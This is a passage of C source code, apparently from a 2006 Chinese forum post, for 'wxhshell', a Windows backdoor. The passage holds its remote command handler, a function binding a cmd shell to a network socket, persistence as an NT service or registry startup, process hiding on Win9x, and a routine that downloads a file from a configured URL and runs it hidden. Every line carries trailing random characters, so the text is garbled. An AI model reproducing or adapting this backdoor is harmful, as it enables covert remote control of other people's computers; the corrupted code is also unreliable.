  // 帮助 /qU>5;  
  case '?': { #eK=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ow6*Xr8eQ  
    break; ]JE TeZ^/  
  } Z{R[Wx  
  // 安装 kS :\Oz\  
  case 'i': { JN'cXZJPn  
    if(Install()) G^wtE90  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~Ff%p@9  
    else 5Y\!pf7SQ|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f[sF:f(zI  
    break; Kmz7c|  
    } DNkWOY#{  
  // 卸载 eKN$jlg  
  case 'r': { Bfr'Zdw  
    if(Uninstall()) iWLa>z|,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nmFC%p)4  
    else  npp[@*~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 06*rWu9P3  
    break; xd-XWXc  
    } UsQ4~e 4-  
  // 显示 wxhshell 所在路径 kforu!C  
  case 'p': { &|Pu-A"5~  
    char svExeFile[MAX_PATH]; Xm1[V&  
    strcpy(svExeFile,"\n\r"); cK`"lxO  
      strcat(svExeFile,ExeFile); >TjJA #  
        send(wsh,svExeFile,strlen(svExeFile),0); AoaN22  
    break; [xb]Wf  
    } p?X02 >yA  
  // 重启 a l&(-#1  
  case 'b': { QHt4",Ij  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `^9(Ot $  
    if(Boot(REBOOT)) _qXa=|}V.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJs;v  
    else { j' 0r'  
    closesocket(wsh); ?7MqeR4/E  
    ExitThread(0); =Gk/k}1  
    } &~e$:8 +  
    break; 27F~(!n  
    } Yw; D:Y(  
  // 关机 5 BtX63  
  case 'd': { [5$w=u"j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S8, Z;y  
    if(Boot(SHUTDOWN)) sJ z@7.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wJ<Oo@snm  
    else { h*B|fy4K9U  
    closesocket(wsh); !ZRs;UZ>o  
    ExitThread(0); o>/O++7Ra  
    } c`*TPqw(B[  
    break; ]rN5Ao}2  
    } . lgPFr6X  
  // 获取shell *Vw\'%p*  
  case 's': { 8qEK+yi,  
    CmdShell(wsh); Rli:x  
    closesocket(wsh); A@*:<Hs%  
    ExitThread(0); efP&xk  
    break; '3IC*o"  
  } x35cW7R}T_  
  // 退出 LPYbHo3fq  
  case 'x': { E\nv~Y?SG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X>YsQrK(ig  
    CloseIt(wsh); JwnQ0 e  
    break; X[gn+6WB%  
    } L6Wt3U`l  
  // 离开 dsx]/49<  
  case 'q': { BvrB:%_:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fF vF\  
    closesocket(wsh); CzCQFqXI  
    WSACleanup(); 6]zd.W  
    exit(1); =qy=-j]  
    break; 4_v]O  
        } YwY74w:  
  } [+m?G4[  
  } :,b iyJt  
{gNV[45  
  // 提示信息 >gwz,{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5}$b0<em~  
} .\0isO  
  } S [h];eM  
~9)"!   
  return; fb~=Y$|  
} p[lNy{u~M  
v[plT2"s  
// shell模块句柄 mGUO6>g  
int CmdShell(SOCKET sock) OA/WtQ5  
{ ]ul$*  
STARTUPINFO si; r_e7a6  
ZeroMemory(&si,sizeof(si)); =0;}K@(J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'I;!pUfVp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Jf^`ZT}  
PROCESS_INFORMATION ProcessInfo; :1XtvH  
char cmdline[]="cmd"; :l7U>~ o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^<e@uNGg  
  return 0; mC?i}+4>4R  
} K{b(J Nd  
6hZ@;Q=b  
// 自身启动模式 G7--v,R1x  
int StartFromService(void) ZCKka0*  
{ bl_H4  
typedef struct y2]-&]&  
{ K7Rpr.p  
  DWORD ExitStatus; >9RD_QG7  
  DWORD PebBaseAddress; {u1V|q  
  DWORD AffinityMask; aL J(?8M@  
  DWORD BasePriority; )ZrS{vY  
  ULONG UniqueProcessId; :=%0Mb:  
  ULONG InheritedFromUniqueProcessId; t#%R q  
}   PROCESS_BASIC_INFORMATION; '>$]{vQ3  
E0%~! b  
PROCNTQSIP NtQueryInformationProcess; s&\I=J.  
B+^(ktZp@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k+I}PuG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !RyO\>:q  
\#o2\!@`  
  HANDLE             hProcess; /%_OW@ ?  
  PROCESS_BASIC_INFORMATION pbi; fwK}/0%  
(b'B%rFO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [7_56\G4  
  if(NULL == hInst ) return 0; |#6QThK  
upj]6f"(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .h0b~nI>>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &>e-(4Xu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N2.AKH  
:Mm3 gW)  
  if (!NtQueryInformationProcess) return 0; zIP6\u  
,g%&|FAP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \J+*  
  if(!hProcess) return 0; "D?z  
;<G=M2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T3`ludm^u  
GA7}K:LP'k  
  CloseHandle(hProcess); Y0 D}g3`  
ynA|}X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h3dsd  
if(hProcess==NULL) return 0; &WNf M+  
JaB<EL-9r2  
HMODULE hMod; 'v]u#/7a  
char procName[255]; lA>DS#_  
unsigned long cbNeeded; f!O{%ev  
)(y) A[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pb#?l6x$+  
K&8dA0i2u2  
  CloseHandle(hProcess); k)TSR5A  
Q#nOJ(KV  
if(strstr(procName,"services")) return 1; // 以服务启动 ,V*%V;  
R+&jD;U{  
  return 0; // 注册表启动 !Hys3AP  
} x\Z'2?u}  
5) -~mW y  
// 主模块 pp7$J2s+j  
int StartWxhshell(LPSTR lpCmdLine) 5]M>8ll  
{ i1S>yV^l  
  SOCKET wsl; +3KEzo1=)  
BOOL val=TRUE; uYE`"/h,1e  
  int port=0; gY@N~'f;"  
  struct sockaddr_in door; J>u 7,  
{uGP&cS~(  
  if(wscfg.ws_autoins) Install(); 6oF7:lt  
s}N#n(  
port=atoi(lpCmdLine); * S=\l@EW  
Ur*6Gi6  
if(port<=0) port=wscfg.ws_port; =0;^(/1Mc  
nu'M 39{  
  WSADATA data; XS$OyW_Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -?(E_^ng  
R'S0 zp6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hAHq\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9 7ql5  
  door.sin_family = AF_INET; Z!U)I-x&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -WYAN:s  
  door.sin_port = htons(port); P;k0W>~k  
B/` !K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i86>]  
closesocket(wsl); ?.D3'qv  
return 1; d> {nQF;c  
} qL,tYJ<m%  
wC5ee:u C%  
  if(listen(wsl,2) == INVALID_SOCKET) { 1UKg=A-q  
closesocket(wsl); C`5  
return 1; OK\A</8r  
} w: >5=mfk  
  Wxhshell(wsl); cK 06]-Y  
  WSACleanup(); =b/L?dR.-  
yz0zFfiX  
return 0; A<W 6=5h  
?wO-cnl  
} Nj?/J47?,  
qu|B4?Y/CR  
// 以NT服务方式启动 .|/~op4;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "_`F\DGAZu  
{ $^@)  
DWORD   status = 0; y~75r\"R  
  DWORD   specificError = 0xfffffff; ^$ t7+g  
6oBfB8]:d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?:w1je7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E8-P"`Qba  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K# Jk _"W  
  serviceStatus.dwWin32ExitCode     = 0; F{UP;"8'  
  serviceStatus.dwServiceSpecificExitCode = 0; J9=m]R8T  
  serviceStatus.dwCheckPoint       = 0; 3;a<_cE*@  
  serviceStatus.dwWaitHint       = 0; }Q";aU0^  
u;`U*@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /tUy3myJ  
  if (hServiceStatusHandle==0) return; i\dc>C ;  
/c,(8{(O  
status = GetLastError(); lg(bDK m  
  if (status!=NO_ERROR) *k19LI.5  
{ z`\F@pX%wC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |m2X+s9  
    serviceStatus.dwCheckPoint       = 0; DG?"5:Zd  
    serviceStatus.dwWaitHint       = 0; Ps 8%J;  
    serviceStatus.dwWin32ExitCode     = status; G_SG  
    serviceStatus.dwServiceSpecificExitCode = specificError; s&NX@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {uHU]6d3qy  
    return; =KR NvW  
  } f aLtdQi  
b?Ki;[+O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mb]rY>B4  
  serviceStatus.dwCheckPoint       = 0; qM.bF&&Go  
  serviceStatus.dwWaitHint       = 0; %DdJ ^qHI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v{A KEX*  
} eGX %KT"O  
.j-IX1Sa  
// 处理NT服务事件,比如:启动、停止 ezMI \r6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =MvjLh"s  
{ ,~"$k[M  
switch(fdwControl) U{VCZ*0cj  
{ PTEHP   
case SERVICE_CONTROL_STOP: f-%NaTI  
  serviceStatus.dwWin32ExitCode = 0; [w -l?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KjQR$-  
  serviceStatus.dwCheckPoint   = 0; v.]Q$q^  
  serviceStatus.dwWaitHint     = 0; w08?DD]CDt  
  { C[%OkPR,H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V<j.xd7  
  } #H0dZ.$b0  
  return; 65Cg]Dt71  
case SERVICE_CONTROL_PAUSE: R%'^gFk 8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [3@):8  
  break; J2^'Xj_V  
case SERVICE_CONTROL_CONTINUE: x l#LrvxI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }oNhl^JC  
  break; [h,QBz  
case SERVICE_CONTROL_INTERROGATE: )LyojwY_g  
  break; 'Tc]KXD6  
}; ~t~-A,1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >hr{JJe  
} WH= EPOR,  
u&n' ITH  
// 标准应用程序主函数 3%E74 mOcD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kP?KXT3y  
{ et }T %~T  
R[;z X(y  
// 获取操作系统版本 V#`fs|e;y  
OsIsNt=GetOsVer(); sxt-Vs7+6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IhA*"  
(e[}/hf6  
  // 从命令行安装 8:/e GM  
  if(strpbrk(lpCmdLine,"iI")) Install(); /IM#.v  
DuOG {  
  // 下载执行文件 )'4k|@8|  
if(wscfg.ws_downexe) { #/Eb*2C`b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W]5USFan  
  WinExec(wscfg.ws_filenam,SW_HIDE); P<f5*L#HD  
} 19j+lCSvH  
1+U  
if(!OsIsNt) { m`FN IY  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zib)P&  
HideProc(); kJ Mf  
StartWxhshell(lpCmdLine); Ba/Yl  
} u,w:SM@*(  
else `4~H/'%QB  
  if(StartFromService()) n;:rf7hGY  
  // 以服务方式启动 )kkhJI*v  
  StartServiceCtrlDispatcher(DispatchTable); wy}k1E'M  
else %!PM&zV  
  // 普通方式启动 9t#S= DP  
  StartWxhshell(lpCmdLine); 2!$gyu6bpG  
yd?x= |  
return 0; #jxe%2'Ot  
}
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只看该作者 1 发表于: 2006-10-10
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